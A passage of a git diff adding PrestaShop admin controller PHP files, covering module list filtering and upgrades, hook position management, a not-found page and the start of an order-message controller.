NULL)') < 1) + return true; + } + else + { + // Handle "others" category + if (!isset($this->list_modules_categories[$module->tab])) + $module->tab = 'others'; + + // Filter on module category + $categoryFiltered = array(); + $filterCategories = explode('|', Configuration::get('PS_SHOW_CAT_MODULES_'.(int)$this->id_employee)); + if (count($filterCategories) > 0) + foreach ($filterCategories as $fc) + if (!empty($fc)) + $categoryFiltered[$fc] = 1; + if (count($categoryFiltered) > 0 && !isset($categoryFiltered[$module->tab])) + return true; + } + + // Filter on module type and author + $show_type_modules = $this->filter_configuration['PS_SHOW_TYPE_MODULES_'.(int)$this->id_employee]; + if ($show_type_modules == 'nativeModules' && !in_array($module->name, $this->list_natives_modules)) + return true; + else if ($show_type_modules == 'partnerModules' && !in_array($module->name, $this->list_partners_modules)) + return true; + else if ($show_type_modules == 'addonsModules' && (!isset($module->type) || $module->type != 'addonsBought')) + return true; + else if ($show_type_modules == 'mustHaveModules' && (!isset($module->type) || $module->type != 'addonsMustHave')) + return true; + else if ($show_type_modules == 'otherModules' && (in_array($module->name, $this->list_partners_modules) || in_array($module->name, $this->list_natives_modules))) + return true; + else if (strpos($show_type_modules, 'authorModules[') !== false) + { + // setting selected author in authors set + $author_selected = substr(str_replace(array('authorModules[', "\'"), array('', "'"), $show_type_modules), 0, -1); + $this->modules_authors[$author_selected] = 'selected'; + if (empty($module->author) || strtolower($module->author) != $author_selected) + return true; + } + + // Filter on install status + $show_installed_modules = $this->filter_configuration['PS_SHOW_INSTALLED_MODULES_'.(int)$this->id_employee]; + if ($show_installed_modules == 'installed' && !$module->id) + return true; + if ($show_installed_modules == 'uninstalled' && $module->id) + return true; + + + // Filter on active status + $show_enabled_modules = $this->filter_configuration['PS_SHOW_ENABLED_MODULES_'.(int)$this->id_employee]; + if ($show_enabled_modules == 'enabled' && !$module->active) + return true; + if ($show_enabled_modules == 'disabled' && $module->active) + return true; + + // Filter on country + $show_country_modules = $this->filter_configuration['PS_SHOW_COUNTRY_MODULES_'.(int)$this->id_employee]; + if ($show_country_modules && (isset($module->limited_countries) && !empty($module->limited_countries) + && ((is_array($module->limited_countries) && count($module->limited_countries) + && !in_array(strtolower($this->iso_default_country), $module->limited_countries)) + || (!is_array($module->limited_countries) && strtolower($this->iso_default_country) != strval($module->limited_countries))))) + return true; + + // Module has not been filtered + return false; + } + + public function initContent() + { + // Adding Css + $this->addCSS(__PS_BASE_URI__.str_replace(_PS_ROOT_DIR_.DIRECTORY_SEPARATOR, '', _PS_ADMIN_DIR_).'/themes/'.$this->bo_theme.'/css/modules.css', 'all'); + + // If we are on a module configuration, no need to load all modules + if (Tools::getValue('configure') != '') + return true; + + // Init + $smarty = $this->context->smarty; + $autocompleteList = 'var moduleList = ['; + $nameCountryDefault = Country::getNameById($this->context->language->id, Configuration::get('PS_COUNTRY_DEFAULT')); + $categoryFiltered = array(); + $filterCategories = explode('|', Configuration::get('PS_SHOW_CAT_MODULES_'.(int)$this->id_employee)); + if (count($filterCategories) > 0) + foreach ($filterCategories as $fc) + if (!empty($fc)) + $categoryFiltered[$fc] = 1; + + foreach ($this->list_modules_categories as $k => $v) + $this->list_modules_categories[$k]['nb'] = 0; + + // Retrieve Modules Preferences + $modules_preferences = ''; + $tab_modules_preferences = array(); + $modules_preferences_tmp = Db::getInstance()->executeS('SELECT * FROM `'._DB_PREFIX_.'module_preference` WHERE `id_employee` = '.(int)$this->id_employee); + $tab_modules_preferences_tmp = Db::getInstance()->executeS('SELECT * FROM `'._DB_PREFIX_.'tab_module_preference` WHERE `id_employee` = '.(int)$this->id_employee); + + foreach($tab_modules_preferences_tmp as $i => $j) + $tab_modules_preferences[$j['module']][] = $j['id_tab']; + + foreach ($modules_preferences_tmp as $k => $v) + { + if ($v['interest'] == null) + unset($v['interest']); + if ($v['favorite'] == null) + unset($v['favorite']); + $modules_preferences[$v['module']] = $v; + } + + // Retrieve Modules List + $modules = Module::getModulesOnDisk(true, $this->logged_on_addons, $this->id_employee); + $this->initModulesList($modules); + $this->nb_modules_total = count($modules); + $module_errors = array(); + $module_success = array(); + $upgrade_available = array(); + + // Browse modules list + foreach ($modules as $km => $module) + { + //if we are in favorites view we only display installed modules + if (Tools::getValue('select') == 'favorites' && !$module->id) + { + unset($modules[$km]); + continue; + } + + // Upgrade Module process, init check if a module could be upgraded + if (Module::initUpgradeModule($module)) + { + // When the XML cache file is up-to-date, the module may not be loaded yet + if (!class_exists($module->name)) + { + if (!file_exists(_PS_MODULE_DIR_.$module->name.'/'.$module->name.'.php')) + continue; + require_once(_PS_MODULE_DIR_.$module->name.'/'.$module->name.'.php'); + } + if ($object = new $module->name()) + { + $object->runUpgradeModule(); + if ((count($errors_module_list = $object->getErrors()))) + $module_errors[] = array('name' => $module->name, 'message' => $errors_module_list); + else if ((count($conf_module_list = $object->getConfirmations()))) + $module_success[] = array('name' => $module->name, 'message' => $conf_module_list); + unset($object); + } + } + // Module can't be upgraded if not file exist but can change the database version... + // User has to be prevented + elseif (Module::getUpgradeStatus($module->name)) + { + // When the XML cache file is up-to-date, the module may not be loaded yet + if (!class_exists($module->name)) + if (file_exists(_PS_MODULE_DIR_.$module->name.'/'.$module->name.'.php')) + { + require_once(_PS_MODULE_DIR_.$module->name.'/'.$module->name.'.php'); + $object = new $module->name(); + $module_success[] = array('name' => $module->name, 'message' => array( + 0 => $this->l('Current version:').$object->version, + 1 => $this->l('No file upgrades applied (none exist).')) + ); + } + else + continue; + unset($object); + } + + // Make modules stats + $this->makeModulesStats($module); + + // Assign warnings + if ($module->active && isset($module->warning) && !empty($module->warning)) + $this->warnings[] = sprintf($this->l('%1$s: %2$s'), $module->displayName, $module->warning); + + // AutoComplete array + $autocompleteList .= Tools::jsonEncode(array( + 'displayName' => (string)$module->displayName, + 'desc' => (string)$module->description, + 'name' => (string)$module->name, + 'author' => (string)$module->author, + 'image' => (isset($module->image) ? (string)$module->image : ''), + 'option' => '', + )).', '; + + // Apply filter + if ($this->isModuleFiltered($module) && Tools::getValue('select') != 'favorites') + unset($modules[$km]); + else + { + $this->fillModuleData($module); + $module->categoryName = (isset($this->list_modules_categories[$module->tab]['name']) ? $this->list_modules_categories[$module->tab]['name'] : $this->list_modules_categories['others']['name']); + + if (isset($modules_preferences[$modules[$km]->name])) + $modules[$km]->preferences = $modules_preferences[$modules[$km]->name]; + } + unset($object); + if (isset($module->version_addons)) + $upgrade_available[] = array('anchor' => ucfirst($module->name), 'name' => $module->displayName);; + } + + // Don't display categories without modules + $cleaned_list = array(); + foreach ($this->list_modules_categories as $k => $list) + if ($list['nb'] > 0) + $cleaned_list[$k] = $list; + + // Actually used for the report of the upgraded errors + if (count($module_errors)) + { + $html = $this->generateHtmlMessage($module_errors); + $this->errors[] = sprintf(Tools::displayError('The following module(s) were not upgraded successfully: %s'), $html); + } + if (count($module_success)) + { + $html = $this->generateHtmlMessage($module_success); + $this->confirmations[] = sprintf($this->l('The following module(s) were upgraded successfully:').' %s', $html); + } + + // Init tpl vars for smarty + $tpl_vars = array(); + + $tpl_vars['token'] = $this->token; + $tpl_vars['upgrade_available'] = $upgrade_available; + $tpl_vars['currentIndex'] = self::$currentIndex; + $tpl_vars['dirNameCurrentIndex'] = dirname(self::$currentIndex); + $tpl_vars['ajaxCurrentIndex'] = str_replace('index', 'ajax-tab', self::$currentIndex); + $tpl_vars['autocompleteList'] = rtrim($autocompleteList, ' ,').'];'; + + $tpl_vars['showTypeModules'] = $this->filter_configuration['PS_SHOW_TYPE_MODULES_'.(int)$this->id_employee]; + $tpl_vars['showCountryModules'] = $this->filter_configuration['PS_SHOW_COUNTRY_MODULES_'.(int)$this->id_employee]; + $tpl_vars['showInstalledModules'] = $this->filter_configuration['PS_SHOW_INSTALLED_MODULES_'.(int)$this->id_employee]; + $tpl_vars['showEnabledModules'] = $this->filter_configuration['PS_SHOW_ENABLED_MODULES_'.(int)$this->id_employee]; + $tpl_vars['nameCountryDefault'] = Country::getNameById($this->context->language->id, Configuration::get('PS_COUNTRY_DEFAULT')); + $tpl_vars['isoCountryDefault'] = $this->iso_default_country; + + $tpl_vars['categoryFiltered'] = $categoryFiltered; + + $tpl_vars['modules'] = $modules; + $tpl_vars['nb_modules'] = $this->nb_modules_total; + $tpl_vars['nb_modules_favorites'] = Db::getInstance()->getValue('SELECT COUNT(`id_module_preference`) FROM `'._DB_PREFIX_.'module_preference` WHERE `id_employee` = '.(int)$this->id_employee.' AND `favorite` = 1 AND (`interest` = 1 OR `interest` IS NULL)'); + $tpl_vars['nb_modules_installed'] = $this->nb_modules_installed; + $tpl_vars['nb_modules_uninstalled'] = $tpl_vars['nb_modules'] - $tpl_vars['nb_modules_installed']; + $tpl_vars['nb_modules_activated'] = $this->nb_modules_activated; + $tpl_vars['nb_modules_unactivated'] = $tpl_vars['nb_modules_installed'] - $tpl_vars['nb_modules_activated']; + $tpl_vars['list_modules_categories'] = $cleaned_list; + $tpl_vars['list_modules_authors'] = $this->modules_authors; + + $tpl_vars['check_url_fopen'] = (ini_get('allow_url_fopen') ? 'ok' : 'ko'); + $tpl_vars['check_openssl'] = (extension_loaded('openssl') ? 'ok' : 'ko'); + + $tpl_vars['add_permission'] = $this->tabAccess['add']; + $tpl_vars['tab_modules_preferences'] = $tab_modules_preferences; + + if ($this->logged_on_addons) + { + $tpl_vars['logged_on_addons'] = 1; + $tpl_vars['username_addons'] = $this->context->cookie->username_addons; + } + $smarty->assign($tpl_vars); + } +} diff --git a/controllers/admin/AdminModulesPositionsController.php b/controllers/admin/AdminModulesPositionsController.php new file mode 100755 index 0000000..bb01368 --- /dev/null +++ b/controllers/admin/AdminModulesPositionsController.php @@ -0,0 +1,554 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com>o +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminModulesPositionsControllerCore extends AdminController +{ + protected $display_key = 0; + + public function postProcess() + { + // Getting key value for display + if (Tools::getValue('show_modules') && strval(Tools::getValue('show_modules')) != 'all') + $this->display_key = (int)Tools::getValue('show_modules'); + + // Change position in hook + if (array_key_exists('changePosition', $_GET)) + { + if ($this->tabAccess['edit'] === '1') + { + $id_module = (int)Tools::getValue('id_module'); + $id_hook = (int)Tools::getValue('id_hook'); + $module = Module::getInstanceById($id_module); + if (Validate::isLoadedObject($module)) + { + $module->updatePosition($id_hook, (int)Tools::getValue('direction')); + Tools::redirectAdmin(self::$currentIndex.($this->display_key ? '&show_modules='.$this->display_key : '').'&token='.$this->token); + } + else + $this->errors[] = Tools::displayError('This module cannot be loaded'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + + // Add new module in hook + elseif (Tools::isSubmit('submitAddToHook')) + { + if ($this->tabAccess['add'] === '1') + { + // Getting vars... + $id_module = (int)Tools::getValue('id_module'); + $module = Module::getInstanceById($id_module); + $id_hook = (int)Tools::getValue('id_hook'); + $hook = new Hook($id_hook); + + if (!$id_module || !Validate::isLoadedObject($module)) + $this->errors[] = Tools::displayError('This module cannot be loaded'); + elseif (!$id_hook || !Validate::isLoadedObject($hook)) + $this->errors[] = Tools::displayError('Hook cannot be loaded.'); + elseif (Hook::getModulesFromHook($id_hook, $id_module)) + $this->errors[] = Tools::displayError('This module has already been transplanted to this hook'); + elseif (!$module->isHookableOn($hook->name)) + $this->errors[] = Tools::displayError('This module cannot be transplanted to this hook.'); + // Adding vars... + else + { + if (!$module->registerHook($hook->name, Shop::getContextListShopID())) + $this->errors[] = Tools::displayError('An error occurred while transplanting the module to its hook.'); + else + { + $exceptions = Tools::getValue('exceptions'); + $exceptions = (isset($exceptions[0])) ? $exceptions[0] : array(); + $exceptions = explode(',', str_replace(' ', '', $exceptions)); + + foreach ($exceptions as $key => $except) + { + if (empty($except)) + unset($exceptions[$key]); + else if (!Validate::isFileName($except)) + $this->errors[] = Tools::displayError('No valid value for field exceptions has been defined.'); + } + if (!$this->errors && !$module->registerExceptions($id_hook, $exceptions, Shop::getContextListShopID())) + $this->errors[] = Tools::displayError('An error occurred while transplanting the module to its hook.'); + } + if (!$this->errors) + Tools::redirectAdmin(self::$currentIndex.'&conf=16'.($this->display_key ? '&show_modules='.$this->display_key : '').'&token='.$this->token); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + + // Edit module from hook + elseif (Tools::isSubmit('submitEditGraft')) + { + if ($this->tabAccess['add'] === '1') + { + // Getting vars... + $id_module = (int)Tools::getValue('id_module'); + $module = Module::getInstanceById($id_module); + $id_hook = (int)Tools::getValue('id_hook'); + $hook = new Hook($id_hook); + + if (!$id_module || !Validate::isLoadedObject($module)) + $this->errors[] = Tools::displayError('This module cannot be loaded'); + elseif (!$id_hook || !Validate::isLoadedObject($hook)) + $this->errors[] = Tools::displayError('Hook cannot be loaded.'); + else + { + $exceptions = Tools::getValue('exceptions'); + if (is_array($exceptions)) + { + foreach ($exceptions as $id => $exception) + { + $exception = explode(',', str_replace(' ', '', $exception)); + + // Check files name + foreach ($exception as $except) + if (!Validate::isFileName($except)) + $this->errors[] = Tools::displayError('No valid value for field exceptions has been defined.'); + + $exceptions[$id] = $exception; + } + + // Add files exceptions + if (!$module->editExceptions($id_hook, $exceptions)) + $this->errors[] = Tools::displayError('An error occurred while transplanting the module to its hook.'); + + if (!$this->errors) + Tools::redirectAdmin(self::$currentIndex.'&conf=16'.($this->display_key ? '&show_modules='.$this->display_key : '').'&token='.$this->token); + } + else + { + $exceptions = explode(',', str_replace(' ', '', $exceptions)); + + // Check files name + foreach ($exceptions as $except) + if (!Validate::isFileName($except)) + $this->errors[] = Tools::displayError('No valid value for field exceptions has been defined.'); + + // Add files exceptions + if (!$module->editExceptions($id_hook, $exceptions, Shop::getContextListShopID())) + $this->errors[] = Tools::displayError('An error occurred while transplanting the module to its hook.'); + else + Tools::redirectAdmin(self::$currentIndex.'&conf=16'.($this->display_key ? '&show_modules='.$this->display_key : '').'&token='.$this->token); + } + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + + // Delete module from hook + elseif (array_key_exists('deleteGraft', $_GET)) + { + if ($this->tabAccess['delete'] === '1') + { + $id_module = (int)Tools::getValue('id_module'); + $module = Module::getInstanceById($id_module); + $id_hook = (int)Tools::getValue('id_hook'); + $hook = new Hook($id_hook); + if (!Validate::isLoadedObject($module)) + $this->errors[] = Tools::displayError('This module cannot be loaded'); + elseif (!$id_hook || !Validate::isLoadedObject($hook)) + $this->errors[] = Tools::displayError('Hook cannot be loaded.'); + else + { + if (!$module->unregisterHook($id_hook, Shop::getContextListShopID()) + || !$module->unregisterExceptions($id_hook, Shop::getContextListShopID())) + $this->errors[] = Tools::displayError('An error occurred while deleting the module from its hook.'); + else + Tools::redirectAdmin(self::$currentIndex.'&conf=17'.($this->display_key ? '&show_modules='.$this->display_key : '').'&token='.$this->token); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + elseif (Tools::isSubmit('unhookform')) + { + if (!($unhooks = Tools::getValue('unhooks')) || !is_array($unhooks)) + $this->errors[] = Tools::displayError('Please select a module to unhook.'); + else + { + foreach ($unhooks as $unhook) + { + $explode = explode('_', $unhook); + $id_hook = $explode[0]; + $id_module = $explode[1]; + $module = Module::getInstanceById((int)$id_module); + $hook = new Hook((int)$id_hook); + if (!Validate::isLoadedObject($module)) + $this->errors[] = Tools::displayError('This module cannot be loaded'); + elseif (!$id_hook || !Validate::isLoadedObject($hook)) + $this->errors[] = Tools::displayError('Hook cannot be loaded.'); + else + { + if (!$module->unregisterHook((int)$id_hook) || !$module->unregisterExceptions((int)$id_hook)) + $this->errors[] = Tools::displayError('An error occurred while deleting the module from its hook.'); + } + } + if (!count($this->errors)) + Tools::redirectAdmin(self::$currentIndex.'&conf=17'.($this->display_key ? '&show_modules='.$this->display_key : '').'&token='.$this->token); + } + } + else + parent::postProcess(); + } + + public function initContent() + { + if (array_key_exists('addToHook', $_GET) || array_key_exists('editGraft', $_GET) || (Tools::isSubmit('submitAddToHook') && $this->errors)) + { + $this->display = 'edit'; + $this->content .= $this->renderForm(); + } + else + $this->content .= $this->initMain(); + + $this->context->smarty->assign(array( + 'content' => $this->content + )); + } + + public function initMain() + { + // Init toolbar + $this->initToolbarTitle(); + + $admin_dir = basename(_PS_ADMIN_DIR_); + $modules = Module::getModulesInstalled(); + + $assoc_modules_id = array(); + foreach ($modules as $module) + if ($tmp_instance = Module::getInstanceById((int)$module['id_module'])) + { + // We want to be able to sort modules by display name + $module_instances[$tmp_instance->displayName] = $tmp_instance; + // But we also want to associate hooks to modules using the modules IDs + $assoc_modules_id[(int)$module['id_module']] = $tmp_instance->displayName; + } + ksort($module_instances); + $hooks = Hook::getHooks(!(int)Tools::getValue('hook_position')); + foreach ($hooks as $key => $hook) + { + // Get all modules for this hook or only the filtered module + $hooks[$key]['modules'] = Hook::getModulesFromHook($hook['id_hook'], $this->display_key); + $hooks[$key]['module_count'] = count($hooks[$key]['modules']); + // If modules were found, link to the previously created Module instances + if (is_array($hooks[$key]['modules']) && !empty($hooks[$key]['modules'])) + foreach ($hooks[$key]['modules'] as $module_key => $module) + if (isset($assoc_modules_id[$module['id_module']])) + $hooks[$key]['modules'][$module_key]['instance'] = $module_instances[$assoc_modules_id[$module['id_module']]]; + } + + $this->addJqueryPlugin('tablednd'); + + $this->toolbar_btn['save'] = array( + 'href' => self::$currentIndex.'&addToHook'.($this->display_key ? '&show_modules='.$this->display_key : '').'&token='.$this->token, + 'desc' => $this->l('Transplant a module') + ); + + $live_edit_params = array( + 'live_edit' => true, + 'ad' => $admin_dir, + 'liveToken' => $this->token, + 'id_employee' => (int)$this->context->employee->id + ); + + $this->context->smarty->assign(array( + 'show_toolbar' => true, + 'toolbar_btn' => $this->toolbar_btn, + 'title' => $this->toolbar_title, + 'toolbar_scroll' => 'false', + 'token' => $this->token, + 'url_show_modules' => self::$currentIndex.'&token='.$this->token.'&show_modules=', + 'modules' => $module_instances, + 'url_show_invisible' => self::$currentIndex.'&token='.$this->token.'&show_modules='.(int)Tools::getValue('show_modules').'&hook_position=', + 'hook_position' => Tools::getValue('hook_position'), + 'live_edit' => Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_SHOP, + 'url_live_edit' => $this->getLiveEditUrl($live_edit_params), + 'display_key' => $this->display_key, + 'hooks' => $hooks, + 'url_submit' => self::$currentIndex.'&token='.$this->token, + 'can_move' => (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_SHOP) ? false : true, + )); + + return $this->createTemplate('list_modules.tpl')->fetch(); + } + + public function getLiveEditUrl($live_edit_params) + { + $url = $this->context->shop->getBaseURL().Dispatcher::getInstance()->createUrl('index', (int)$this->context->language->id, $live_edit_params); + if (Configuration::get('PS_REWRITING_SETTINGS')) + $url = str_replace('index.php', ((count(Language::getLanguages(true)) > 1)? Language::getIsoById($this->context->employee->id_lang).'/' : ''), $url); + return $url; + } + + public function renderForm() + { + // Init toolbar + $this->initToolbarTitle(); + // toolbar (save, cancel, new, ..) + $this->initToolbar(); + $id_module = (int)Tools::getValue('id_module'); + $id_hook = (int)Tools::getValue('id_hook'); + if (Tools::isSubmit('editGraft')) + { + // Check auth for this page + if (!$id_module || !$id_hook) + Tools::redirectAdmin(self::$currentIndex.'&token='.$this->token); + + $sql = 'SELECT id_module + FROM '._DB_PREFIX_.'hook_module + WHERE id_module = '.$id_module.' + AND id_hook = '.$id_hook.' + AND id_shop IN('.implode(', ', Shop::getContextListShopID()).')'; + if (!Db::getInstance()->getValue($sql)) + Tools::redirectAdmin(self::$currentIndex.'&token='.$this->token); + + $sl_module = Module::getInstanceById($id_module); + $excepts_list = $sl_module->getExceptions($id_hook, true); + $excepts_diff = false; + $excepts = ''; + if ($excepts_list) + { + $first = current($excepts_list); + foreach ($excepts_list as $k => $v) + if (array_diff($v, $first) || array_diff($first, $v)) + $excepts_diff = true; + + if (!$excepts_diff) + $excepts = implode(', ', $first); + } + } + else + { + $excepts_diff = false; + $excepts_list = Tools::getValue('exceptions', array(array())); + } + $modules = Module::getModulesInstalled(0); + + $instances = array(); + foreach ($modules as $module) + if ($tmp_instance = Module::getInstanceById($module['id_module'])) + $instances[$tmp_instance->displayName] = $tmp_instance; + ksort($instances); + $modules = $instances; + $hooks = Hook::getHooks(0); + + $exception_list_diff = array(); + foreach ($excepts_list as $shop_id => $file_list) + $exception_list_diff[] = $this->displayModuleExceptionList($file_list, $shop_id); + + $tpl = $this->createTemplate('form.tpl'); + $tpl->assign(array( + 'url_submit' => self::$currentIndex.'&token='.$this->token, + 'edit_graft' => Tools::isSubmit('editGraft'), + 'id_module' => (int)Tools::getValue('id_module'), + 'id_hook' => (int)Tools::getValue('id_hook'), + 'show_modules' => Tools::getValue('show_modules'), + 'hooks' => $hooks, + 'exception_list' => $this->displayModuleExceptionList(array_shift($excepts_list), 0), + 'exception_list_diff' => $exception_list_diff, + 'except_diff' => isset($excepts_diff) ? $excepts_diff : null, + 'display_key' => $this->display_key, + 'modules' => $modules, + 'show_toolbar' => true, + 'toolbar_btn' => $this->toolbar_btn, + 'toolbar_scroll' => $this->toolbar_scroll, + 'title' => $this->toolbar_title, + 'table' => 'hook_module', + )); + + return $tpl->fetch(); + } + + public function displayModuleExceptionList($file_list, $shop_id) + { + if (!is_array($file_list)) + $file_list = ($file_list) ? array($file_list) : array(); + + $content = '<input type="text" name="exceptions['.$shop_id.']" size="40" value="'.implode(', ', $file_list).'" id="em_text_'.$shop_id.'">'; + if ($shop_id) + { + $shop = new Shop($shop_id); + $content .= ' ('.$shop->name.')'; + } + $content .= '<br /><select id="em_list_'.$shop_id.'">'; + + // @todo do something better with controllers + $controllers = Dispatcher::getControllers(_PS_FRONT_CONTROLLER_DIR_); + ksort($controllers); + foreach ($controllers as $k => $v) + $content .= '<option value="'.$k.'">'.$k.'</option>'; + $content .= '</select> <input type="button" class="button" value="'.$this->l('Add').'" onclick="position_exception_add('.$shop_id.')" /> + <input type="button" class="button" value="'.$this->l('Remove').'" onclick="position_exception_remove('.$shop_id.')" /><br /><br />'; + + return $content; + } + + public function ajaxProcessUpdatePositions() + { + if ($this->tabAccess['edit'] === '1') + { + $id_module = (int)(Tools::getValue('id_module')); + $id_hook = (int)(Tools::getValue('id_hook')); + $way = (int)(Tools::getValue('way')); + $positions = Tools::getValue(strval($id_hook)); + $position = (is_array($positions)) ? array_search($id_hook.'_'.$id_module, $positions) : null; + $module = Module::getInstanceById($id_module); + if (Validate::isLoadedObject($module)) + if ($module->updatePosition($id_hook, $way, $position)) + die(true); + else + die('{"hasError" : true, "errors" : "Can not update module position"}'); + else + die('{"hasError" : true, "errors" : "This module can not be loaded"}'); + } + } + + public function ajaxProcessGetHookableList() + { + if ($this->tabAccess['view'] === '1') + { + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_) + die('{"hasError" : true, "errors" : ["Live Edit : This functionnality has been disabled"]}'); + + if (!count(Tools::getValue('hooks_list'))) + die('{"hasError" : true, "errors" : ["Live Edit : no module on this page"]}'); + + $modules_list = Tools::getValue('modules_list'); + $hooks_list = Tools::getValue('hooks_list'); + $hookableList = array(); + + foreach ($modules_list as $module) + { + $module = trim($module); + if (!$module) + continue; + + if (!Validate::isModuleName($module)) + die('{"hasError" : true, "errors" : ["Live Edit : module is invalid"]}'); + + $moduleInstance = Module::getInstanceByName($module); + foreach ($hooks_list as $hook_name) + { + $hook_name = trim($hook_name); + if (!$hook_name) + continue; + if (!array_key_exists($hook_name, $hookableList)) + $hookableList[$hook_name] = array(); + if ($moduleInstance->isHookableOn($hook_name)) + array_push($hookableList[$hook_name], str_replace('_', '-', $module)); + } + + } + $hookableList['hasError'] = false; + die(Tools::jsonEncode($hookableList)); + } + } + + public function ajaxProcessGetHookableModuleList() + { + if ($this->tabAccess['view'] === '1') + { + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_) + die('{"hasError" : true, "errors" : ["Live Edit : This functionnality has been disabled"]}'); + /* PrestaShop demo mode*/ + + $hook_name = Tools::getValue('hook'); + $hookableModulesList = array(); + $modules = Db::getInstance()->executeS('SELECT id_module, name FROM `'._DB_PREFIX_.'module` '); + foreach ($modules as $module) + { + if (!Validate::isModuleName($module['name'])) + continue; + if (file_exists(_PS_MODULE_DIR_.$module['name'].'/'.$module['name'].'.php')) + { + include_once(_PS_MODULE_DIR_.$module['name'].'/'.$module['name'].'.php'); + $mod = new $module['name'](); + if ($mod->isHookableOn($hook_name)) + $hookableModulesList[] = array('id' => (int)$mod->id, 'name' => $mod->displayName, 'display' => Hook::exec($hook_name, array(), (int)$mod->id)); + } + } + die(Tools::jsonEncode($hookableModulesList)); + } + } + public function ajaxProcessSaveHook() + { + if ($this->tabAccess['edit'] === '1') + { + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_) + die('{"hasError" : true, "errors" : ["Live Edit : This functionnality has been disabled"]}'); + + $hooks_list = explode(',', Tools::getValue('hooks_list')); + $id_shop = (int)Tools::getValue('id_shop'); + if (!$id_shop) + $id_shop = Context::getContext()->shop->id; + + $res = true; + $hookableList = array(); + // $_POST['hook'] is an array of id_module + $hooks_list = Tools::getValue('hook'); + foreach ($hooks_list as $id_hook => $modules) + { + // 1st, drop all previous hooked modules + $sql = 'DELETE FROM `'._DB_PREFIX_.'hook_module` + WHERE `id_hook` = '.(int)$id_hook.' + AND id_shop = '.(int)$id_shop; + $res &= Db::getInstance()->execute($sql); + + $i = 1; + $value = ''; + $ids = array(); + // then prepare sql query to rehook all chosen modules(id_module, id_shop, id_hook, position) + // position is i (autoincremented) + foreach ($modules as $id_module) + { + if (!in_array($id_module, $ids)) + { + $ids[] = (int)$id_module; + $value .= '('.(int)$id_module.', '.(int)$id_shop.', '.(int)$id_hook.', '.(int)$i.'),'; + } + $i++; + } + $value = rtrim($value, ','); + $res &= Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'hook_module` + (id_module, id_shop, id_hook, position) + VALUES '.$value); + + } + if ($res) + $hasError = true; + else + $hasError = false; + die('{"hasError" : false, "errors" : ""}'); + } + } +} diff --git a/controllers/admin/AdminNotFoundController.php b/controllers/admin/AdminNotFoundController.php new file mode 100755 index 0000000..00344cd --- /dev/null +++ b/controllers/admin/AdminNotFoundController.php @@ -0,0 +1,47 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminNotFoundControllerCore extends AdminController +{ + public function checkAccess() + { + return true; + } + + public function viewAccess() + { + return true; + } + + public function initContent() + { + $this->errors[] = Tools::displayError('Controller not found'); + $tpl_vars['controller'] = Tools::getvalue('controller'); + + $this->context->smarty->assign($tpl_vars); + parent::initContent(); + } +} diff --git a/controllers/admin/AdminOrderMessageController.php b/controllers/admin/AdminOrderMessageController.php new file mode 100755 index 0000000..0eeb6f5 --- /dev/null +++ b/controllers/admin/AdminOrderMessageController.php @@ -0,0 +1,97 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminOrderMessageControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'order_message'; + $this->className = 'OrderMessage'; + $this->lang = true; + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->context = Context::getContext(); + + if (!Tools::getValue('realedit')) + $this->deleted = false; + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->fields_list = array( + 'id_order_message' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Name'), + 'width' => 140 + ), + 'message' => array( + 'title' => $this->l('Message'), + 'width' => 600, + 'maxlength' => 300 + ) + ); + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Order messages'), + 'image' => 